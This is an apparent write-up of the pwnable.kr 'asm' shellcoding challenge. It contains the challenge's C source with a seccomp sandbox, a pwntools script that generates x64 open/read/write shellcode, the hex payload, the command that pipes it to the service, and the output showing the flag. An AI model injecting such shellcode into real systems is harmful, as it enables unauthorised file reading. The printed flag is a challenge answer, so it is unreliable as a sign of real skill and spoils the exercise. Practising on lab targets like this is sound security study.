asm - 6 pt
Mommy! I think I know how to make shellcodes
ssh asm@pwnable.kr -p2222 (pw: guest)
asm@ubuntu:~$ ls -l
total 28
-rwxr-xr-x 1 root root 13704 Nov 29 2016 asm
-rw-r--r-- 1 root root 1793 Nov 29 2016 asm.c
-rw-r--r-- 1 root root 211 Nov 19 2016 readme
-rw-r--r-- 1 root root 67 Nov 19 2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
asm@ubuntu:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
asm@ubuntu:~$ cat asm.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> #include <unistd.h> #define LENGTH 128 void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error\n"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp error\n"); exit(0); } seccomp_release(ctx); } char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; unsigned char filter[256]; int main(int argc, char* argv[]){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Welcome to shellcoding practice challenge.\n"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); printf("If this does not challenge you. you should play 'asg' challenge :)\n"); char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000); alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return 0; } | cs |
asm@ubuntu:~$ nc 0 9026
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 | from pwn import * context(arch='amd64', os='linux') payload = "" payload += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload += shellcraft.open('rsp', 0, 0) payload += shellcraft.read('rax', 'rsp', 100) payload += shellcraft.write(1, 'rsp', 100) print asm(payload).encode('hex') | cs |
mandu@mandu-VirtualBox:~/prog_py$ python pwnable_asm.py
48b801010101010101015048b86e316e316e6f66014831042448b86f306f306f306f305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b830303030306f6f6f5048b830303030303030305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b8735f766572795f6c5048b8655f6e616d655f695048b85f7468655f66696c5048b86c652e736f7272795048b85f746869735f66695048b86173655f726561645048b866696c655f706c655048b86b725f666c61675f5048b870776e61626c652e5048b8746869735f69735f504889e731d231f66a02580f054889c731c06a645a4889e60f056a015f6a645a4889e66a01580f05
asm@ubuntu:~$ (python -c 'print "48b801010101010101015048b86e316e316e6f66014831042448b86f306f306f306f305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b830303030306f6f6f5048b830303030303030305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b8735f766572795f6c5048b8655f6e616d655f695048b85f7468655f66696c5048b86c652e736f7272795048b85f746869735f66695048b86173655f726561645048b866696c655f706c655048b86b725f666c61675f5048b870776e61626c652e5048b8746869735f69735f504889e731d231f66a02580f054889c731c06a645a4889e60f056a015f6a645a4889e66a01580f05".decode("hex")') | nc 0 9026
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode: Mak1ng_shelLcodE_i5_veRy_eaSy
lease_read_this_file.sorry_the_file_name_is_very_looooooooooooooooooooasm@ubuntu:~$
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